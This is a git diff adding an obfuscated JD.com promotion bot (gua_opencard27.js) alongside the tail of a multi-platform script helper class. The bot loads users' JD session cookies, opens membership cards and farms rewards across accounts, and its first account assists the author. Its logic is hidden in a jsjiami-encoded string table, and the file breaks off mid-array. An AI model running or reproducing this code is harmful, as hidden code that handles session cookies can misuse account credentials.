开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard27.js b/backUp/gua_opencard27.js new file mode 100644 index 0000000..94501d7 --- /dev/null +++ b/backUp/gua_opencard27.js @@ -0,0 +1,53 @@ +/* +9.9~9.16 大聚惠 [gua_opencard27.js] +新增开卡脚本 (脚本已加密 +一次性脚本 + +邀请一人20豆 被邀请也有20豆(有可能没有豆 +开1组卡 抽奖可能获得30京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku27]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard27="true" + +All变量适用 +———————————————— +入口:[ 9.9~9.16 大聚惠 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=f7e4d75f22c84cdeba92bf594b02b910&shareUuid=c94ccc8e54c5497391e2e33824f25ae2)] + +请求太频繁会被黑ip +过10分钟再执行 + +============Quantumultx=============== +[task_local] +#9.9~9.16 大聚惠 +27 1,21 9-16 9 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard27.js, tag=9.9~9.16 大聚惠, enabled=true + +================Loon============== +[Script] +cron "27 1,21 9-16 9 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard27.js,tag=9.9~9.16 大聚惠 + +===============Surge================= +9.9~9.16 大聚惠 = type=cron,cronexp="27 1,21 9-16 9 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard27.js + +============小火箭========= +9.9~9.16 大聚惠 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard27.js, cronexpr="27 1,21 9-16 9 *", timeout=3600, enable=true +*/ +let guaopencard_addSku = "false" +let guaopencard = "false" + + +const $ = new Env('9.9~9.16 大聚惠'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +var _0xodI='jsjiami.com.v6',_0x1e35=[_0xodI,'L2Rpbmd6aGkvZHovb3BlbkNhcmQvY2hlY2tPcGVuQ2FyZA==','amNkZVo=','TW1EU1g=','TG9xVk0=','a0hGRlE=','T3hkdXU=','eWdLYlI=','TVFybXI=','aElSRXI=','T29Id0I=','SEVFWVI=','UmRhQkg=','a2FYVW4=','dlJXSVE=','S29wbmE=','T1JyRFU=','emNvcU4=','aFVmZUQ=','eEFDVmY=','RHdwem0=','VmFvVmU=','elF4R0w=','R2xOV1I=','eWJrcUc=','Wm5TTFk=','cGtISEQ=','Zk1raWU=','TERxZlY=','eHVDSlc=','ZlpZeko=','ZGRMcHg=','dVhMbUs=','V2FmRUU=','ZWxxWXI=','bXlud2Y=','R3pYVng=','ZnlwdFc=','QmVub0Q=','RXpkS2c=','UEthVHo=','b2pnVm8=','THpUbFQ=','R1VSZ2U=','bmZaV3E=','eGVYZFQ=','WmVSd3k=','YWJjZGVmMDEyMzQ1Njc4OQ==','eVVOQkE=','WnFTQmY=','TW9uZWw=','REVkdUE=','QXFqdnU=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9kcmF3Q29udGVudA==','R2phTkc=','RmlRSG8=','cFZ6Qng=','ZVFpUHU=','Z0FRVVY=','Rm9KZHU=','c0ZuWW4=','b2JTaVI=','cmxOdkE=','d0xncmY=','THhFWUE=','b3pUVnY=','R3Npemk=','RmZMeFQ=','UlppU3A=','Y1NzY1I=','ZXFDZ1o=','eU5za0k=','dFp6bHI=','WFdITm4=','WXZwQWY=','UHh2WWI=','d093V2w=','Y2hhckF0','emVpQXo=','a3RHS00=','cUNFWXc=','WU5oaW4=','aE9iSlQ=','eUVhdFU=','Z0llZUk=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvYWN0aXZpdHlDb250ZW50','Uml5TkQ=','JnBpbkltZz0=','TVNNclQ=','Jm5pY2s9','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0=','cFFmd3Y=','WXpjTlY=','bWRtYVk=','YVdOUHI=','V21BQmg=','SmN5aFc=','QkR4Um0=','VHNodHY=','a0l4REo=','dk1DUkE=','dVhXYWE=','V2FFYkc=','aGxZTVA=','QUJ0YlQ=','YWN0aXZpdHlDb250ZW50IA==','YVRVc1M=','YWJvVlk=','eU5RUEQ=','aWN5ZXo=','Qk5XenE=','RlVXckc=','L3d4QWN0aW9uQ29tbW9uL2dldFVzZXJJbmZv','a0xTQ08=','dG1vQ1g=','QVJuRWw=','SnlUZlo=','T0FSZUQ=','cGluPQ==','cGlpdFk=','cE9ySVg=','c1hkSk8=','cFdPVko=','a1JwWGc=','IGdldFVzZXJJbmZvIEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cFdzS3A=','cEdkcWE=','Qmh5VEI=','VXN1Z1I=','ZkRtcEo=','b0JFeHg=','TnBtaFo=','eW9HUFI=','TW1VV3g=','RGt2R1c=','cUZ0UVc=','ZHdrYnI=','TVVaeGc=','bmdUQ04=','c3RyaW5n','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','U0FyWGs=','b1NzUWY=','UEZsaVg=','ZWxlZ1E=','VFN5Q3Q=','UG1aVmI=','RVlzaXA=','L2NvbW1vbi9hY2Nlc3NMb2dXaXRoQUQ=','RldkR3g=','a29wa1o=','RmJkZ24=','ZFJ2R24=','b1pYWVE=','Q1NBckw=','bEdJR2o=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2R6L29wZW5DYXJkL2FjdGl2aXR5P2FjdGl2aXR5SWQ9','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','eExVTlc=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9QVBQJmFkU291cmNlPW51bGw=','R09QdHA=','T0xVVnI=','U2NVS1g=','SEN3U1g=','bVpwQlI=','V0V4ZHM=','SlRSdUg=','RUtFZm4=','eU91Qlo=','bm5oQUI=','UnRuV08=','cXhKREM=','bHlkZk4=','TkpUQUM=','anRvRVA=','SHJBTGU=','T0VXS24=','cE9SVHM=','aGNCSkU=','T2NvZlA=','SXR3Qk8=','bWVCTWM=','SVpnT3Y=','S3RWbnA=','QVNRQWo=','dkdNRU4=','Z1p2dmI=','ZGFPcFM=','T2lacFY=','TE50S2o=','bWtBb3E=','RkF2Z2o=','SnRyVWQ=','eEdwZEs=','VW9HT1Q=','bmVtSWg=','VkllY3I=','aExaTVQ=','QXRXYnA=','QlJsVks=','V053dUo=','SmZreW0=','WmduZnA=','SHh0WlQ=','UFhKb1g=','cGxiS1U=','L2N1c3RvbWVyL2dldE15UGluZw==','Rm1CWnA=','UGN3aEU=','aUt1ZWc=','YlpNc3U=','cHRueVI=','cVJ3TVo=','QnlOcUs=','b2xpV2c=','aVZjZGs=','YVNsd2Q=','aWVYYmk=','TmpJSFI=','WGRFRHM=','eFRMbGM=','eHNWbmE=','cEROeUQ=','Q2pRdVA=','YkdqcE0=','VVNPb3E=','WGJqRko=','dmR5ckw=','dFlKQ1Q=','and4T3Q=','TmVpbmM=','SHVWUm4=','VVdHenI=','Sk11Y3A=','cFNyaU0=','dUNxR0k=','UVp1UWQ=','YUNxS1Y=','Wldabks=','UkhXd2o=','Zm1GWmE=','ZndHa28=','dEFCYmg=','bUlhTHI=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','aVB6dGk=','Y3VVY1g=','YlFSZG4=','aXZEUHQ=','eVN0SUI=','TEZtbkI=','YnhTZWo=','YnlJWkI=','cXhrTkY=','Q09OYWk=','WXhvRHM=','eExLaEw=','IGdldE15UGluZyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','eEtRRHE=','dVlDWEY=','ZmliR0s=','SEZXS2Y=','YmtKd3o=','aXRWY28=','WHFWdVQ=','V010ZVQ=','eUxxa0o=','eW1hek0=','eE1adkM=','QVFFaHM=','QWZmdko=','Z1NhcXk=','ZUhNWEM=','ZkhBdm8=','S1ZocmE=','elpyYk0=','b252UFA=','RXV6S2Q=','b3RXdkE=','bG5BZE8=','YmlYQVM=','Y0l1cnQ=','dFBmalo=','enh1Vkw=','bUVZZ0E=','c2VjcmV0UGlu','RWtER2E=','R3FzZVE=','bEZPVFo=','Z2V0TXlQaW5nIA==','YlRKdXU=','d3RsbVY=','aWhqQVQ=','V1NwdXM=','U2tieFM=','SU9hZEQ=','WER6eFQ=','V0FpTkQ=','cmRxQWU=','RnJSRFI=','WFpST0I=','bGdJTEw=','c0FIRXM=','L2R6L2NvbW1vbi9nZXRTaW1wbGVBY3RJbmZvVm8=','bmNseng=','bEx0THI=','Z0NXc24=','WEZLTUc=','S2RxeUQ=','SnVTSWU=','bHJzQ04=','eGxIT1I=','ZVR6YUE=','TkZkV3g=','bE1Gckc=','dGhudkM=','SERsaUk=','cXFVdWc=','bHVzRnc=','UXhRc3c=','Y1pnV3U=','UHdMV0g=','TmduYnc=','REhhZ2I=','WFRLd04=','T1BLaEw=','S1lvclQ=','WnNCYVM=','YkVKZ1A=','c3BleVQ=','dUpObFI=','VnlzbUc=','b2hYZW4=','dlFqR2E=','c3RyaW5naWZ5','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','Z252RkM=','SmZrY1g=','Y2h5dHI=','YWpIdUw=','QmZqWGQ=','ckFJQkc=','RVJ0VGI=','T05oanU=','Z2V0U2ltcGxlQWN0SW5mb1ZvIA==','UVRjaFY=','R3Z3aGQ=','elZZcnU=','dE1Nb0o=','YVdkUEM=','Y1dQSXE=','U1FOcHQ=','blZ3b3E=','YXJlYT0xNl8xMzE1XzEzMTZfNTM1MjImYm9keT0lN0IlMjJ1cmwlMjIlM0ElMjJodHRwcyUzQSU1Qy8lNUMvbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjJpZCUyMiUzQSUyMiUyMiU3RCZidWlsZD0xNjc4MDImY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTAuMS4yJmRfYnJhbmQ9YXBwbGUmZF9tb2RlbD1pUGhvbmU3JTJDMiZlaWQ9ZWlkSTEzMjU4MTIyZGJzM3N6akVRa0lWUnVpY09EcS9ETlNzQkxNNHhiZUk3TE5yTmY4enZDdHU5NDh2blFIU2VCYWVNbXR1SE52Qm1hNUYxVm9xWGZGTUxxRXRBc3pvRkpYZUM2MzJ3bWltWk8ySGRMazMmaXNCYWNrZ3JvdW5kPU4mam95Y2lvdXM9NjEmbGFuZz16aF9DTiZuZXR3b3JrVHlwZT13aWZpJm5ldHdvcmtsaWJ0eXBlPUpETmV0d29ya0Jhc2VBRiZvcGVudWRpZD0xZWI5MDZhMzI5NDA3NTJiNTA5Nzk1OWI4N2JmNzc5MGNmNzJkZDA1Jm9zVmVyc2lvbj0xMi40JnBhcnRuZXI9YXBwbGUmcmZzPTAwMDAmc2NvcGU9MDEmc2NyZWVuPTc1MCUyQTEzMzQmc2lnbj0yNzhjNzUxOWFhNGY0ZDljNWViYmI0MTJhOTI1NWIyNyZzdD0xNjMxMTYzMjM1NDEyJnN2PTEyMiZ1ZW1wcz0wLTAmdXRzPTBmMzFUVlJqQlNzcW5kdTQvamdVUHo2dXlteTUwTVFKN2NLQzBGRWp2Q1U3WGxiSlI3alFNNlp1S0FFTkM5NkhyJTJCSVBaaXdmR0ZvV0RlWXdUMDclMkJEV1lmUEV2czBXelJoT0dpL3E3akVpSUkvY1dUL0xXM3BVbUZOOC81WUxNVktSQm1BdEJJNmhXNzZaWjFGdGFoZUxqT0x3ZFh6JTJCcTlmZ1JNM3FVcDVDb2xmUiUyQi92Rkg4TzFXY0NiYmVrNU4lMkI1MDVOb1c2UUVCQ2xWR3Y4N2haZWZ3JTNEJTNEJnV1aWQ9aGp1ZHdnb2h4elZ1OTZrcnYvVDZIZyUzRCUzRCZ3aWZpQnNzaWQ9Nzk2NjA2ZThlMTgxYWE1ODY1ZWMyMDcyOGEyNzIzOGI=','emRrYWU=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','S1pVb1Y=','d053aFI=','a3F3UUo=','SkQ0aVBob25lLzE2NzgwMiAoaVBob25lOyBpT1MgMTIuNDsgU2NhbGUvMi4wMCk=','IGlzdk9iZnVzY2F0b3IgQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','aXRhc0g=','cUJ3eUo=','bldsQ2Y=','WUpQeEY=','emdPbkU=','VXhiWVE=','Z3BXdWU=','SkxtbVU=','eGlRcWg=','SUhvVUM=','VXBXZmc=','SmtFU1A=','cFBqUHk=','QkJBeGo=','UmVXZGc=','R0l4Tno=','eURTSUY=','ZW5reFY=','aHFJY3Q=','aXNFZ2Q=','dE1PcHc=','aVhraWM=','cU56TGQ=','cFp4UFo=','S0tpb0s=','U0VJZm0=','dUFqQmE=','RWZuYXQ=','S3JvcWo=','VnpzR2g=','WVlUVlQ=','alNMTmg=','eFdXd1Q=','Qlh1YUQ=','Z1ROY1I=','cklNaFA=','TnJJTUc=','dG9STFo=','VUVLQkI=','T3N1Q2E=','bGFBcks=','Y09yUEk=','b0VBUVM=','Z0l5b3E=','THVza1E=','VHdKQU8=','d3d4TFU=','andhc1o=','Wm5ZTnI=','T1Vxakw=','Q1BUTWY=','aVlGSm0=','ZVlUcEk=','IGNvb2tpZSBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','RmtOQ1U=','YXhZRGM=','VGlUdlQ=','bVZoQmI=','S05iZHQ=','eEN0aWU=','T0JGb0w=','S2hFbEM=','ZXBJanE=','dmZoVXc=','RUdHRHo=','cXJHcko=','eUpEUVQ=','aUl3aGY=','dUVKREc=','ZWF1TVc=','THJObks=','dEpzRnA=','SHNVT2k=','YXBwbGljYXRpb24vanNvbg==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','QVVUSF9DX1VTRVI9','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','WE1MSHR0cFJlcXVlc3Q=','S2hEeXU=','aVVaTmw=','RHpXRUE=','aU9nT1I=','bEZnWEU=','VW9QeXU=','bUR1TWo=','Z3VVTnY=','TWt4bkY=','eHVBSWs=','c25sc2w=','amRhcHA7aVBob25lOzEwLjEuMjsxNC4zOw==','aGp0Vm0=','O25ldHdvcmsvd2lmaTttb2RlbC9pUGhvbmUxMiwxO2FkZHJlc3NpZC80MTk5MTc1MTkzO2FwcEJ1aWxkLzE2NzgwMjtqZFN1cHBvcnREYXJrTW9kZS8wO01vemlsbGEvNS4wIChpUGhvbmU7IENQVSBpUGhvbmUgT1MgMTRfMyBsaWtlIE1hYyBPUyBYKSBBcHBsZVdlYktpdC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIE1vYmlsZS8xNUUxNDg7c3VwcG9ydEpEU0hXSy8x','RFhsWHI=','eUlCSk0=','a0dHZm0=','QnJDb0M=','dXZnQ3Q=','RXhISW8=','S25RTnA=','WEJ5eHk=','WHFEUUM=','ckJ4eHQ=','T0dncEc=','SnB6ZlE=','WEdlSno=','SmNnVFA=','ZnJQVUs=','UXpTeU8=','UGd5VkI=','VklnQ1o=','aXNOb2Rl','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','Z3Vhb3BlbmNhcmRfYWRkU2t1Mjc=','Z3Vhb3BlbmNhcmRfYWRkU2t1X0FsbA==','Z3Vhb3BlbmNhcmQyNw==','Z3Vhb3BlbmNhcmRfQWxs','b3V0RmxhZw==','6LSm5Y+3MeiOt+WPluS4jeWIsFtzaGFyZVV1aWRd6YCA5Ye65omn6KGM77yM6K+36YeN5paw5omn6KGM','eExkcXU=','44CQ5o+Q56S644CR6K+35YWI6I635Y+WY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tLw==','dHJ1ZQ==','eUlhdEw=','5aaC6ZyA5omn6KGM6ISa5pys6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkMjdd5Li6InRydWUi','Yzk0Y2NjOGU1NGM1NDk3MzkxZTJlMzM4MjRmMjVhZTI=','ZjdlNGQ3NWYyMmM4NGNkZWJhOTJiZjU5NGIwMmI5MTA=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrA==','WHp1Rmc=','VVNjWVE=','bXNn','bmFtZQ==','SWFZTGw=','bGVrblY=','Q1Nibms=','S1hRYnY=','Z2tudEY=','R1NhSmE=','Sm5PbVk=','aUhpTlY=','T05HaWU=','c2hhcmVVdWlk','U3ZQV28=','YWN0aXZpdHlJZA==','eHdnbEY=','5YWl5Y+jOgpodHRwczovL2x6ZHoxLWlzdi5pc3ZqY2xvdWQuY29tL2Rpbmd6aGkvZHovb3BlbkNhcmQvYWN0aXZpdHk/YWN0aXZpdHlJZD0=','JnNoYXJlVXVpZD0=','b0Z6eG0=','bGVuZ3Ro','VXNlck5hbWU=','dGRMalQ=','bWF0Y2g=','aW5kZXg=','UlVDcEI=','CgoqKioqKirlvIDlp4vjgJDkuqzkuJzotKblj7c=','KioqKioqKioqCg==','VVRkR1c=','YWN0b3JVdWlk','SU12aVA=','c2VuZE5vdGlmeQ==','Y2F0Y2g=','bG9nRXJy','ZmluYWxseQ==','ZG9uZQ==','TFpfVE9LRU5fS0VZPQ==','TFpfVE9LRU5fVkFMVUU9','b2JqZWN0','dW5kZWZpbmVk','aHR0cHM6Ly9pbWcxMC4zNjBidXlpbWcuY29tL2ltZ3pvbmUvamZzL3QxLzcwMjAvMjcvMTM1MTEvNjE0Mi81YzUxMzhkOEU0ZGYyZTc2NC81YTEyMTZhM2E1MDQzYzVkLnBuZw==','bHpfamRwaW5fdG9rZW49','56m65rCU8J+SqA==','dGZ2VVQ=','dmVCRlI=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrAo=','6I635Y+WW3Rva2VuXeWksei0pe+8gQ==','SG9jU2o=','b1JDcnc=','6I635Y+W5rS75Yqo5L+h5oGv5aSx6LSl77yB','UHZkR3U=','RVZwekM=','6I635Y+W5LiN5YiwW2FjdG9yVXVpZF3pgIDlh7rmiafooYzvvIzor7fph43mlrDmiafooYw=','M3wwfDV8MXwyfDQ=','R0dVRkw=','MnwxfDN8MHw1fDQ=','5YWz5rOoOiA=','5Yqg6LStOiA=','5aaC6ZyA5Yqg6LSt6K+36K6+572u546v5aKD5Y+Y6YePW2d1YW9wZW5jYXJkX2FkZFNrdTI3XeS4uiJ0cnVlIg==','5b2T5YmN5Yqp5YqbOg==','Uk9nY2Q=','WHdWRFo=','QUlLQmM=','WmtTYWY=','ZGpGbnE=','RFRWZks=','SmtJYU4=','VG9rZW4=','UGlu','eUZWQ20=','VUREcUQ=','6I635Y+WY29va2ll5aSx6LSl','U2lDTXA=','SXJsS2o=','c3BsaXQ=','dHJpbQ==','SXZhcmI=','aW5kZXhPZg==','ZnZQekY=','d29xV1M=','cmVwbGFjZQ==','R2FnZ2Y=','WE1ob0w=','Z3pSZEs=','Ym1xcWk=','elRwdnk=','aWpjUUs=','bmlja25hbWU=','UklzRFI=','c2hvcElk','SGl5WkE=','dmVuZGVySWQ=','aFZzaE0=','TEhKd0o=','WVFTQVQ=','d0phWHA=','dG9PYmo=','SU5SZE0=','cUdJWlo=','cmVzdWx0','ZGF0YQ==','RXZ5cEc=','eXVuTWlkSW1hZ2VVcmw=','YXR0clRvdVhpYW5n','bWlpVmw=','ZXJyb3JNZXNzYWdl','Z2V0VXNlckluZm8g','REhJanQ=','QkN1Zm0=','UE54TVY=','SE5zQmk=','VU1Oekg=','R2JwQ0I=','V2tWeEc=','R1hIRUk=','d2FpdA==','YWxsT3BlbkNhcmQ=','Y2FyZExpc3Qx','c3RhdHVz','UWFTSUQ=','ZVZJTkc=','dmFsdWU=','enh4WGc=','TWdSSXA=','cmFuZG9t','Y2FyZExpc3Qy','ZHhKQ0k=','QmVGY2w=','aWhZc1I=','aE5ZZGY=','a3JBWk0=','emdIdUc=','T1lRTUc=','amNTem0=','RHRyZkQ=','c2NvcmUx','enZMa28=','c2NvcmUy','dlJvSHI=','Zm9sbG93U2hvcA==','TGVpWXo=','S2ZtWW8=','aGh5RVg=','YWRkU2t1','Y2J1YlY=','dlBXbkw=','V1ppVG0=','d3hlTmY=','S1dHeEs=','VERjb04=','dEpUZGM=','dGdsZW8=','a3pxTVY=','TG1GdWU=','5ZCO6Z2i55qE5Y+36YO95Lya5Yqp5YqbOg==','d2ZkTmw=','UllLYmE=','dXZSSXM=','Y1RQUFI=','YXdacnc=','dmxrZ2Q=','Z2dveUg=','Z2xMZW0=','WUFVUHE=','dFBiZlE=','YWRkQmVhbk51bQ==','YmVhbk51bU1lbWJlcg==','YXNzaXN0U2VuZFN0YXR1cw==','IOmineWkluiOt+W+lzo=','5YWz5rOo6I635b6X77ya','a1BBRko=','RXNleWI=','WExzRGY=','ckZ0bVU=','ZlFya0c=','TWxTbmw=','U0Z6V2s=','eUtidmY=','6YKA6K+35aW95Y+L','RnpOaVQ=','R0hNWmI=','QU